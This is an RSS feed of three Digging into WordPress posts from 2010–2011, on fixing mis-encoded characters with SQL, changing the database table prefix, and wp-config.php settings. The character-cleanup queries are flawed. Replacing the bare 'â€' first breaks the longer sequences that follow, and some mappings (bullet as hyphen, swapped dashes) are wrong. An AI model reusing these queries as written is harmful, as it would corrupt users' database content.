<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digging into WordPress &#187; database</title>
	<atom:link href="http://digwp.com/tag/database/feed/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Take your WordPress skills to the next level.</description>
	<lastBuildDate>Thu, 09 Feb 2012 19:03:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Clean Up Weird Characters in Database</title>
		<link>http://digwp.com/2011/07/clean-up-weird-characters-in-database/</link>
		<comments>http://digwp.com/2011/07/clean-up-weird-characters-in-database/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 18:31:45 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=4940</guid>
		<description><![CDATA[It&#8217;s been a crazy month, with lots of drama all over the place. Here at DigWP.com, we had an episode where the site was all screwed up and not loading or only partially loading, blank white pages, and the whole bit. During the process of keeping it together and trying to restore full functionality, numerous [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been a crazy month, with lots of drama all over the place. Here at <a href="http://digwp.com/" title="Digging into WordPress">DigWP.com</a>, we had <a href="http://digwp.com/2011/06/dont-use-postname/" title="Clean Up Weird Characters in Database">an episode</a> where the site was all screwed up and not loading or only partially loading, blank white pages, and the whole bit. During the process of keeping it together and trying to restore full functionality, numerous database imports and exports were performed under a variety of circumstance. During the rush, apparently the most recent database backup file was somehow uncompressed outside of MySQL before final import. Several days later, that decompression/unzipping basically converted every quotation mark, em dash, en dash, ellipses and other special characters into some really ugly-looking codes.</p>
<p><span id="more-4940"></span></p>
<p><img src="http://digwp.com/wp-content/blog-images/weird-characters.png" alt="[ Weird Characters ]" /></p>
<h3>What are they?</h3>
<p>I <em>think</em> what happened is that the restoration database that we ended up using had been opened in a file/text editor. It&#8217;s just a guess, and sort of irrelevant, but the text editor converted our <abbr title="Universal Transformation Format-8 (character encoding)">UTF-8</abbr> characters into some other character set, like <abbr title="International Organization for Standardization (8859-1)">ISO-8859-1</abbr>. So after restoration, we ended up with hundreds of these weird characters in the database &ndash; quotes, hyphens, dashes, and ellipses were all converted to Klingon:</p>
<pre><code>â€œ = left quote = “
â€ = right quote = ”

â€˜ = left single quote = ‘
â€™ = right single quote = ’

â€” = en dash = –
â€“ = em dash = —

â€¢ = hyphen = -
â€¦ = ellipsis = …</code></pre>
<p>Identifying most of these characters was relatively painless, but the en-dash and em-dash characters may be reversed (i.e., <code>â€“</code> = em dash, and <code>â€”</code> = en dash). Testing the other character replacements in the database was easy, but discerning between instances of em &amp; en dashes proved futile. So do your own testing and make good backups before making any mass changes. Hopefully someone can help us out with more of the specifics.</p>
<h3>Clean &lsquo;em up</h3>
<p>Before making any changes to your database, make sure you have a good backup (or three). Then to clean up these weird characters from the WordPress database, use a program like <a href="http://www.phpmyadmin.net/">phpMyAdmin</a> to execute the following queries.</p>
<h4>Clean up post_content</h3>
<pre><code>UPDATE wp_posts SET post_content = REPLACE(post_content, 'â€œ', '“');
UPDATE wp_posts SET post_content = REPLACE(post_content, 'â€', '”');
UPDATE wp_posts SET post_content = REPLACE(post_content, 'â€™', '’');
UPDATE wp_posts SET post_content = REPLACE(post_content, 'â€˜', '‘');
UPDATE wp_posts SET post_content = REPLACE(post_content, 'â€”', '–');
UPDATE wp_posts SET post_content = REPLACE(post_content, 'â€“', '—');
UPDATE wp_posts SET post_content = REPLACE(post_content, 'â€¢', '-');
UPDATE wp_posts SET post_content = REPLACE(post_content, 'â€¦', '…');</code></pre>
<h4>Clean up comment_content</h3>
<pre><code>UPDATE wp_comments SET comment_content = REPLACE(comment_content, 'â€œ', '“');
UPDATE wp_comments SET comment_content = REPLACE(comment_content, 'â€', '”');
UPDATE wp_comments SET comment_content = REPLACE(comment_content, 'â€™', '’');
UPDATE wp_comments SET comment_content = REPLACE(comment_content, 'â€˜', '‘');
UPDATE wp_comments SET comment_content = REPLACE(comment_content, 'â€”', '–');
UPDATE wp_comments SET comment_content = REPLACE(comment_content, 'â€“', '—');
UPDATE wp_comments SET comment_content = REPLACE(comment_content, 'â€¢', '-');
UPDATE wp_comments SET comment_content = REPLACE(comment_content, 'â€¦', '…');</code></pre>
<h4>Other tables</h3>
<p>While cleaning up the DigWP database, several other weird characters also showed up in various places, but they were very few in number. I also noticed several instances of converted quotes, dashes, and hyphens scattered around in some other tables, mostly in the <code>options</code> table, buried deep within temporary <code>rss_</code> data. So I didn&#8217;t bother with anything beyond the <code>post_content</code> and <code>comment_content</code> tables, but easily could have done so by modifying the previous queries like so:</p>
<p><code>UPDATE [table_name] SET [col_name] = REPLACE([col_name], 'â€¦', '…');</code></p>
<p>Just replace <code>[table_name]</code> with whatever table you want to clean up, <code>col_name</code> with the column name, and then replicate or edit the query with the proper character replacements.</p>
<h3>Lesson learned</h3>
<p>Take-home message: don&#8217;t open your database in a text editor. But if you do, execute these SQL queries for easy clean-up.</p>
<hr />
<p><small>© 2011 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2011/07/clean-up-weird-characters-in-database/">Permalink</a> | <a href="http://digwp.com/2011/07/clean-up-weird-characters-in-database/#comments">20 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2011/07/clean-up-weird-characters-in-database/&title=Clean Up Weird Characters in Database">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/mysql/" rel="tag">mysql</a>, <a href="http://digwp.com/tag/sql/" rel="tag">sql</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2011/07/clean-up-weird-characters-in-database/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Change Your Database Prefix to Improve Security</title>
		<link>http://digwp.com/2010/10/change-database-prefix/</link>
		<comments>http://digwp.com/2010/10/change-database-prefix/#comments</comments>
		<pubDate>Wed, 20 Oct 2010 17:06:53 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[config]]></category>
		<category><![CDATA[database]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=3021</guid>
		<description><![CDATA[One of the awesome things about WordPress is that it&#8217;s a dynamic publishing system that uses a database to store your site&#8217;s information: posts, options, plugin and theme settings &#8211; all of this data is stored in your site&#8217;s database. It&#8217;s like the brain of your WordPress installation. Unfortunately the WordPress database is also a [...]]]></description>
			<content:encoded><![CDATA[<p>One of the awesome things about WordPress is that it&rsquo;s a <em>dynamic</em> publishing system that uses a <strong>database</strong> to store your site&rsquo;s information: posts, options, plugin and theme settings &ndash; all of this data is stored in your site&rsquo;s database. It&rsquo;s like the <em>brain</em> of your WordPress installation. Unfortunately the WordPress database is also a prime target in many website attacks. Spammers and other bad guys target various database tables with <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/" title="Media Temple WordPress Hack">automated scripts</a>, <a href="http://digwp.com/2009/06/spam-link-injection-hacked/" title="Spam Link Injection Hacked (and How I Hopefully Fixed It)"><abbr title="Structured Query Language">SQL</abbr> injection</a>, and other <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/" title="Media Temple, WordPress, Mass Hacking">malicious code</a>. Needless to say it&rsquo;s <em>critical</em> to protect your database and keep recent backups. One of the smartest ways to protect your site&rsquo;s database is to <strong>change the default table prefix</strong> to something obscure and difficult to guess. Sort of like a password.</p>
<p><span id="more-3021"></span></p>
<p>By default, during installation, WordPress creates the database with all of the tables prefixed with &ldquo;<code>wp_</code>&rdquo;. There are 11 tables created in the default installation procedure, and all of them will prefixed with <code>wp_</code>:</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-db-prefix-default.gif" alt="[ WordPress Default Table Names ]" /></p>
<p>Install WordPress out-of-the-box and that&rsquo;s what you&rsquo;re going to get. And would-be attackers understand this perfectly. Automated scripts that target the WordPress database aim for these default table names during their attacks. I think it&rsquo;s fair to assume that a <em>vast majority</em> of WordPress databases are using the default <code>wp_</code> prefix. This is bad because it makes attacking WordPress sites <em>easier</em> for the bad guys.</p>
<p>Fortunately you can <a href="http://digwp.com/2010/07/wordpress-security-lockdown/" title="WordPress Security Lockdown">improve your site&rsquo;s security</a> by <strong>changing the default table prefix</strong> to something completely random and unique. There are two ways to change your database prefix: the <em>easy way</em> and the <em>hard way</em>. Which you use will depend on <em>if</em> you&rsquo;ve already installed your WordPress site or not..</p>
<h3>Changing default table prefix <em>before</em> installing WordPress</h3>
<p>First let&rsquo;s look at the <strong>easy way</strong>. Before installing WordPress, while configuring the <a href="http://digwp.com/2010/08/pimp-your-wp-config-php/" title="Pimp your wp-config.php">wp-config.php</a> <a href="http://digwp.com/2009/06/wordpress-configuration-tricks/" title="WordPress Configuration Tricks">configuration file</a> with your database credentials, scroll down the file a bit until you see this:</p>
<pre><code>/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix  = 'wp_';
</code></pre>
<p>Just replace the &ldquo;<code>wp_</code>&rdquo; with a string of random, unique characters and you&rsquo;re all set: continue with the installation as normal and your database prefix will have been changed to something more secure. Here&rsquo;s an example of a strong database prefix generated at <a href="https://www.random.org/passwords/" title="Random Password Generator">Random.org</a>:</p>
<p><code>wp_VzQCxSJv7uL_</code></p>
<p>Notice two things that will help keep your database nice and organized:</p>
<ol>
<li>begin the prefix with &ldquo;<code>wp_</code>&rdquo; so the tables appear in order among other tables</li>
<li>end the prefix with an underscore (&ldquo;<code>_</code>&rdquo;) so the actual table names (e.g., <code>posts</code>, <code>users</code>, <code>meta</code>) stand out and are easily recognizable.</li>
</ol>
<p>But really you can use whatever prefix you want &ndash; the take-home message here is that you <em>should obscure your tables&rsquo; prefix</em> and it&rsquo;s <em>easiest to do before installing WordPress</em>.</p>
<p>But wait! I&rsquo;ve already installed WordPress and have been using it for all sorts of stuff.. is it still possible to change my prefix? Absolutely there is, but it takes quite a bit more time to get it done.</p>
<h3>Changing default table prefix <em>after</em> installing WordPress</h3>
<p>If you&rsquo;ve already installed WordPress and want to change your database prefix, you&rsquo;re stuck with the <strong>hard way</strong>. But it&rsquo;s really not that hard, just hard compared to changing a single line in your <code>wp-config.php</code> (as shown above). To change your prefix <em>after</em> installing, set aside around ten minutes and follow these steps:</p>
<h4>Step 1: Preparations</h4>
<p>Before changing your table prefix, make sure you have a recent backup and about 10 minutes of downtime for your site. It may be a good idea to <a href="http://perishablepress.com/press/2010/05/19/htaccess-redirect-maintenance-page-site-updates/" title="htaccess Redirect to Maintenance Page">redirect visitors to a temporary maintenance page</a>.</p>
<h4>Step 2: Change table prefix</h4>
<p>Change your database table prefix in <code>wp-config.php</code> from <code>wp_</code> to something more secure, like <code>wp_VzQCxSJv7uL_</code> or something.</p>
<h4>Step 3: Change all WordPress database tables</h4>
<p>Go to your database (using phpMyAdmin or whatever) and rename all WordPress table prefixes from <code>wp_</code> to whatever you specified in your <code>wp-config.php</code> file. Here are <abbr title="Structured Query Language">SQL</abbr> commands to rename the 11 default WordPress tables:</p>
<pre><code>RENAME table `wp_commentmeta` TO `wp_VzQCxSJv7uL_commentmeta`;
RENAME table `wp_comments` TO `wp_VzQCxSJv7uL_comments`;
RENAME table `wp_links` TO `wp_VzQCxSJv7uL_links`;
RENAME table `wp_options` TO `wp_VzQCxSJv7uL_options`;
RENAME table `wp_postmeta` TO `wp_VzQCxSJv7uL_postmeta`;
RENAME table `wp_posts` TO `wp_VzQCxSJv7uL_posts`;
RENAME table `wp_terms` TO `wp_VzQCxSJv7uL_terms`;
RENAME table `wp_term_relationships` TO `wp_VzQCxSJv7uL_term_relationships`;
RENAME table `wp_term_taxonomy` TO `wp_VzQCxSJv7uL_term_taxonomy`;
RENAME table `wp_usermeta` TO `wp_VzQCxSJv7uL_usermeta`;
RENAME table `wp_users` TO `wp_VzQCxSJv7uL_users`;</code></pre>
<p>If there are other WordPress-related tables from plugins or whatever, just rename them too. The goal here is to rename <em>all</em> of the tables that begin with the default prefix. If you&rsquo;re using something like phpMyAdmin to interface with your database, you can execute multiple commands at the same time, so edit the above code with your table prefix, paste it into the <abbr title="Structured Query Language">SQL</abbr> field, and WHAM! &ndash; all tables changed in the blink of an eye.</p>
<h4>Step 4: Edit the WordPress options table</h4>
<p>Now search the <code>options</code> table for any instances of the old prefix. To do this, enter the following <abbr title="Structured Query Language">SQL</abbr> query:</p>
<pre><code>SELECT * FROM `wp_VzQCxSJv7uL_options` WHERE `option_name` LIKE '%wp_%'</code></pre>
<p>That search will return the <code>wp_user_roles</code> option along with any other options created by plugins, custom scripts, etc. The goal here is to rename any options that begin with <code>wp_</code> to the new prefix.</p>
<h4>Step 5: Edit the usermeta table</h4>
<p>Now search the <code>usermeta</code> for all instances of the old <code>wp_</code> prefix. Here is an <abbr title="Structured Query Language">SQL</abbr> command to accomplish this:</p>
<pre><code>SELECT * FROM `wp_VzQCxSJv7uL_usermeta` WHERE `meta_key` LIKE '%wp_%'</code></pre>
<p>Executing that query on a recently installed WordPress database, the following <code>usermeta</code> fields were returned:</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-db-prefix-usermeta.gif" alt="[ Search Results for WP usermeta table ]" /></p>
<p>The number of fields that you need to rename may vary depending on plugins and other factors, but as before, just remember to rename <em>any</em> entry that begins with the default WordPress table prefix, <code>wp_</code>.</p>
<h4>Final Step: Test, backup, and done!</h4>
<p>Ideally at this point, <em>all</em> instances of the old table prefix (<code>wp_</code>) have been replaced with the new (<code>wp_VzQCxSJv7uL_</code> in our example). Once this is done, go check your site for proper functionality. Test the Admin, pages, posts, search, and everything else you can think of (or have time for). If your site seems to be working as before, chances are good that the surgery was a success. Now make another database backup for good measure.</p>
<h3>Wrap Up</h3>
<p>Securing WordPress involves securing your database. The default table prefix is well-known and targeted by nefarious scumbags across the Web. Changing your prefix to something obscure and difficult to guess is an easy way to stop automated attacks, malicious scripts, and other evilness from compromising your precious database. And remember &ndash; always, always, always keep recent backups. If something goes awry with your database, the easiest way to restore sanity is to upload a recent backup and call it done.</p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/10/change-database-prefix/">Permalink</a> | <a href="http://digwp.com/2010/10/change-database-prefix/#comments">29 comments</a> | Add to <a href="http://del.icio.us/post?url=http://digwp.com/2010/10/change-database-prefix/&title=Change Your Database Prefix to Improve Security">del.icio.us</a> | Post tags: <a href="http://digwp.com/tag/config/" rel="tag">config</a>, <a href="http://digwp.com/tag/database/" rel="tag">database</a><br/></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/10/change-database-prefix/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Pimp your wp-config.php</title>
		<link>http://digwp.com/2010/08/pimp-your-wp-config-php/</link>
		<comments>http://digwp.com/2010/08/pimp-your-wp-config-php/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 18:52:39 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[config]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2416</guid>
		<description><![CDATA[Easily, the most important file in your WordPress installation is the wp-config.php file. It serves as your site&#8217;s base configuration file, controlling key aspects of WordPress&#8217; functionality and enabling WordPress to do mission-critical stuff like connect to the database. Without wp-config.php, WordPress simply won&#8217;t work. So whenever you install WordPress, one of the first things [...]]]></description>
			<content:encoded><![CDATA[<p>Easily, the most <em>important</em> file in your WordPress installation is the <code>wp-config.php</code> file. It serves as your site&rsquo;s <strong>base configuration file</strong>, controlling <em>key aspects</em> of WordPress&rsquo; functionality and enabling WordPress to do mission-critical stuff like connect to the database. Without <code>wp-config.php</code>, WordPress simply won&rsquo;t work. So whenever you install WordPress, one of the <em>first</em> things to do is pimp your <code>wp-config.php</code>.</p>
<p>And it&rsquo;s pretty easy too &ndash; just get your database credentials in place and you&rsquo;re done. The other settings available in the <code>wp-config.php</code> file will work just fine using the default values, but there are some <em>cool things</em> you can do to customize functionality, tighten security, and improve performance. Once you get the basics of <code>wp-config.php</code>, you can really <em>pimp it out</em> to do some awesome stuff. We&rsquo;ll break this down into <strong>four basic parts</strong>:</p>
<ul>
<li><a href="http://digwp.com/2010/08/pimp-your-wp-config-php/#basics" title="There is no wp-config.php..">Basics</a></li>
<li><a href="http://digwp.com/2010/08/pimp-your-wp-config-php/#security" title="Protect wp-config.php">Security</a></li>
<li><a href="http://digwp.com/2010/08/pimp-your-wp-config-php/#settings" title="Main Configuration Settings">Main Settings</a></li>
<li><a href="http://digwp.com/2010/08/pimp-your-wp-config-php/#pimpin" title="Pimp it out!">Additional Tips and Tricks</a></li>
</ul>
<p><span id="more-2416"></span></p>
<h3 id="basics">There is no wp-config.php..</h3>
<p>When you first download WordPress, the <code>wp-config.php</code> file isn&rsquo;t included. Instead, you get a file named &ldquo;<code>wp-config-sample.php</code>&rdquo; (located in the root install-directory) that contains everything you need. Just rename the file to &ldquo;<code>wp-config.php</code>&rdquo; and delete the <code>wp-config-sample.php</code> file from the server if it&rsquo;s already there. Here is a visual:</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-config-01.jpg" alt="[ Rename the file ]" /></p>
<p>With the <code>wp-config.php</code> file now ready to go, it&rsquo;s time to protect it..</p>
<h3 id="security">Protect wp-config.php</h3>
<p>The first thing you want to do with <code>wp-config.php</code> is protect it. Here is a great way to secure the file using .htaccess:</p>
<pre><code>&lt;Files wp-config.php&gt;
	Order Allow,Deny
	Deny from all
&lt;/Files&gt;</code></pre>
<p>This code should be placed in an .htaccess file located in the directory that contains your <code>wp-config.php</code> file.</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-config-02.jpg" alt="[ Use the same directory ]" /></p>
<p>Once the .htaccess file is in place, ensure that permissions are <abbr title="change mode">chmod</abbr> <strong>640</strong> for both files. This setting returns a &ldquo;403 Forbidden&rdquo; error to all external requests. Combining proper file permissions with .htaccess protection is an excellent way to <em>secure</em> your <code>wp-config.php</code>.</p>
<h3 id="settings">Main Configuration Settings</h3>
<p>Now that <code>wp-config.php</code> is secure, it&rsquo;s time to add the required database information and then customize for optimum performance. This section covers the first four configuration settings that you&rsquo;ll find <em>already included</em> in your <code>wp-config.php</code>. Then in the next section, we&rsquo;ll explore some awesome techniques and really pimp things out.</p>
<h4>1) Database credentials</h4>
<p>The first and only <em>required</em> step is to add your database credentials. This should appear after the PHP comments near the top of the file:</p>
<pre><code>// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'database_name_here');

/** MySQL database username */
define('DB_USER', 'username_here');

/** MySQL database password */
define('DB_PASSWORD', 'password_here');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');</code></pre>
<p>For most servers, you&rsquo;ll need only the first three bits of information: database name, username and password. If WordPress can&rsquo;t connect after that, then you may need to change the hostname to whatever your host tells you. Only fiddle with the last two items &ndash; charset and collate &ndash; if you have need and know what you&rsquo;re doing.</p>
<h4>2) Authentication Unique Keys and Salts</h4>
<p>Next up is a section for key/salt definitions. By default it looks like this:</p>
<pre><code>/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         'put your unique phrase here');
define('SECURE_AUTH_KEY',  'put your unique phrase here');
define('LOGGED_IN_KEY',    'put your unique phrase here');
define('NONCE_KEY',        'put your unique phrase here');
define('AUTH_SALT',        'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT',   'put your unique phrase here');
define('NONCE_SALT',       'put your unique phrase here');

/**#@-*/</code></pre>
<p>The eight definitions should be replaced with values generated via the official <a href="https://api.wordpress.org/secret-key/1.1/salt/">WordPress.org secret-key service</a>. Visit that link, refresh the page a few times, and paste the results into place, like so:</p>
<pre><code>/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         ')` 4yDGc w=*:l8@RD167k0+/+@+rgo(mI-x&lt;_~.=WtCm[qD8&lt;3S)TsR}K~bMLNT');
define('SECURE_AUTH_KEY',  'zO?htRkV.k[vBqn&lt;+.,lorpObkc?@|Vi+8`w=A9,|FjPB&amp;5`5|9&lt;[&amp;&amp;WaUB.pwTS');
define('LOGGED_IN_KEY',    'jtr|J-/.-:6CVh*8h.~bNzc3^#A9@hB9G3E/fx/&gt;k)pmTHbES5^Rq(+EINCW w&gt;8');
define('NONCE_KEY',        'O2Vz+br+`6MqQVv1{-g}sy -CF8M/tldEyWV[W}dnebd7m$6.P,m+.G6Ec]{V@Kl');
define('AUTH_SALT',        '&gt;x,, 8wMLIJCH}i94Ib+}~lR%r_))x@LU3~YJwCok++xaSVE@[My(zAg!Fpi4{NR');
define('SECURE_AUTH_SALT', '7[,gAJ#TQmsw:$!R-n-r%4&lt;UvG7%|-7&amp;jt4]XS-[KX&amp;O)|H,err]&lt;{EuFnmP3,M}');
define('LOGGED_IN_SALT',   '9dJP8uW2E2&amp;.^a|@I|[?qbY%z:&amp;jgnH&lt;OUg+t6Tks,Hox=M@~yx+b;~zU)436q=+');
define('NONCE_SALT',       '=Xv~8+!&gt;l:wy`~w0U-6wO2lmG8l5Xg21$J59T$T~)(h5m&lt;5`|/|dVN{j[80QMV60');

/**#@-*/</code></pre>
<p>Don&rsquo;t use the example keys shown here though &ndash; the whole idea is to specify <em>unique</em> phrases to <em>improve</em> security. And it&rsquo;s totally fine to replace these keys at any time &ndash; the worst that will happen is that currently logged-in users will need to log in again. </p>
<p>At this point, we have our database credentials and secret keys all ready to go. Next we want to <em>further improve security</em> by specifying a unique database prefix.</p>
<h4>3) WordPress Database Table prefix</h4>
<p>WordPress is a <em>huge</em> target for <a href="http://digwp.com/2010/07/wordpress-security-lockdown/#pharma-hack" title="WordPress Security Lockdown">malicious scripts</a>, <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/" title="Media Temple WordPress Hack">hacks</a>, and <a href="http://digwp.com/2009/06/spam-link-injection-hacked/" title="Spam Link Injection Hacked (and How I Hopefully Fixed It)">spam</a>. One of the best ways to secure your WordPress database is to change the default table prefix. The default value, as seen below, is &ldquo;<code>wp_</code>&rdquo;:</p>
<pre><code>/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix  = 'wp_';
</code></pre>
<p>This works, but as the default value, it is heavily targeted by <a href="http://perishablepress.com/press/2009/12/22/protect-wordpress-against-malicious-url-requests/" title="Protect WordPress Against Malicious URL Requests">malicious scripts</a> and <a href="http://perishablepress.com/press/2010/07/14/blackhole-bad-bots/" title="Protect Your Site with a Blackhole for Bad Bots">bad bots</a>. Changing it to something <em>unique</em> essentially <em>immunizes</em> it against automated attacks on anything prefixed with <code>wp_</code>. The more <em>random and unique</em> the better, like a password: &ldquo;<code>h7G3vcDEo3jDf_</code>&rdquo; would be a good example. Note that ending the string with an underscore or some other easily recognizable character is a good way to keep things readable and easy to use.</p>
<h4>4) WordPress Localized Language</h4>
<p>By default WordPress uses the English language, but you can use any available language by following <a href="http://codex.wordpress.org/Installing_WordPress_in_Your_Language" title="Installing WordPress in Your Language">these steps</a>. As a part of that process, you&rsquo;ll specify your language in this part of the <code>wp-config.php</code> file:</p>
<pre><code>/**
 * WordPress Localized Language, defaults to English.
 *
 * Change this to localize WordPress.  A corresponding MO file for the chosen
 * language must be installed to wp-content/languages. For example, install
 * de.mo to wp-content/languages and set WPLANG to 'de' to enable German
 * language support.
 */
define ('WPLANG', '');</code></pre>
<p>It&rsquo;s pretty straightforward: if nothing is specified (as is seen here), English is used; otherwise, you include the <code>.mo</code> language file you are using for the translation.</p>
<h3 id="pimpin">Additional Tips and Tricks</h3>
<p>Now that you&rsquo;ve got the database connection, security keys, table prefix, and language definition dialed in you&rsquo;re ready to rock. Most WordPress sites are in great shape at this point, but there is <em>much</em> more that we can do with <code>wp-config.php</code> to maximize performance and make our lives easier.</p>
<h4>Pimping Post Revisions</h4>
<p>Recent versions of WordPress provides a post-revisioning system that enables users to save different versions of their blog posts and even revert to previously saved versions if necessary. Regardless of how much you do or do not despise this amazingly awesome feature, here are a couple of configurational definitions that may prove useful for you:</p>
<pre><code>// Limit the number of saved revisions
define('WP_POST_REVISIONS', 3); // any integer, but don't go crazy

// Disable the post-revisioning feature
define('WP_POST_REVISIONS', false); // kill the bloat</code></pre>
<h4>Specify the Autosave Interval</h4>
<p>In a similar vein as the post-revisioning feature is WordPress’ actually useful Autosave functionality. By default, WordPress saves your work every 60 seconds, but you can totally modify this setting to whatever you want. Don’t get too crazy though, unless you want to stress-out your server&nbsp;;)</p>
<pre><code>define('AUTOSAVE_INTERVAL', 160); // in seconds, don't go nuts</code></pre>
<h4>Automated Trash</h4>
<p>Since WordPress 2.9, we&rsquo;ve had the &ldquo;Trash&rdquo; feature to help prevent accidents. So now instead of deleting stuff like posts and comments, you send them to the Trash. By default WordPress deletes the Trash every 30 days, but you can set it to whatever you want by adding a line like this to <code>wp-config.php</code>:</p>
<pre><code>define('EMPTY_TRASH_DAYS', 7); // empty weekly</code></pre>
<p>To ride bareback without the safety net, you can disable the Trash feature by specifying a zero value:</p>
<pre><code>define('EMPTY_TRASH_DAYS', 0); // disable trash</code></pre>
<p>By disabling Trash, you&rsquo;ll be deleting stuff permanently the first time, just like way back in the day.</p>
<h4>Automatic Database Repair</h4>
<p>WordPress 2.9 also gave us automatic database repair, which enables you to repair and optimize your database even when not logged in. This functionality should be used on an <em>as-needed</em> basis by first adding the following snippet to <code>wp-config.php</code>:</p>
<pre><code>define('WP_ALLOW_REPAIR', true);</code></pre>
<p>With that in place, visit the following <abbr title="Uniform Resource Locator">URL</abbr> to open the &ldquo;Database Repair&rdquo; page:</p>
<p><code>http://example.com/wp-admin/maint/repair.php</code></p>
<p>There you&rsquo;ll be able to optimize and repair your database without needing to log in to WordPress. Important: While you have  <code>WP_ALLOW_REPAIR</code> set in <code>wp-config.php</code>, the Database Repair page is openly accessible by anyone who finds it. So definitely remove the line to disable the auto-repair functionality after you are done using it.</p>
<h4>Block External Requests</h4>
<p>If you need to prevent WordPress from making external requests, add this snippet to <code>wp-config.php</code>:</p>
<pre><code>define('WP_HTTP_BLOCK_EXTERNAL', true);</code></pre>
<p>This will prevent things from happening that normally happen, like updates, dashboard feeds, and data reporting. Fortunately, it&rsquo;s easy to whitelist (<em>allow</em> access) anything that is needed. Here is an example where we grant access to pingomatic.com:</p>
<pre><code>define('WP_ACCESSIBLE_HOSTS', 'rpc.pingomatic.com');</code></pre>
<h4>Blog Address and Site Address</h4>
<p>By default, these two configurational definitions are not included in the <code>wp-config.php</code> file, but they may be added to improve performance. These two settings were introduced in WordPress version 2.2 and override the database value without actually changing them. Example:</p>
<pre><code>define('WP_HOME', 'http://digwp.com'); // no trailing slash
define('WP_SITEURL', 'http://digwp.com');  // no trailing slash</code></pre>
<p>These settings should match those specified in your WordPress Admin. Once you set them in <code>wp-config.php</code>, they will be &ldquo;grayed-out&rdquo; when displayed in the Admin.</p>
<h4>Debugging WordPress</h4>
<p>Since WordPress version 2.3.1, users have been able to display certain errors and warnings to help with the debugging of their site. As of WordPress version 2.5, enabling error reporting raises the reporting level to <code>E_ALL</code> and activates warnings for deprecated functions. By default (i.e., if no definition is specified in the <code>wp-config.php</code> file), error reporting is disabled.</p>
<pre><code>define('WP_DEBUG', true); // debugging mode: 'true' = enable; 'false' = disable</code></pre>
<p>Adding that snippet to <code>wp-config.php</code> tells WordPress to display warnings and error messages with your web pages. This functionality is <em>extremely useful</em> but infrequently used by plugin and theme developers. If you&rsquo;ve never enabled debugging, you&rsquo;re in for a surprise &ndash; lots of errors even with some of the most popular plugins.</p>
<h4>Error Log Configuration</h4>
<p>Here is an easy way to enable basic error logging for your WordPress-powered site. Create a file called <code>php_error.log</code>, make it server-writable, and place it in the directory of your choice. Then edit the path in the third line of the following code and place into your <code>wp-config.php</code>:</p>
<pre><code>@ini_set('log_errors','On');
@ini_set('display_errors','Off');
@ini_set('error_log','/home/path/domain/logs/php_error.log');</code></pre>
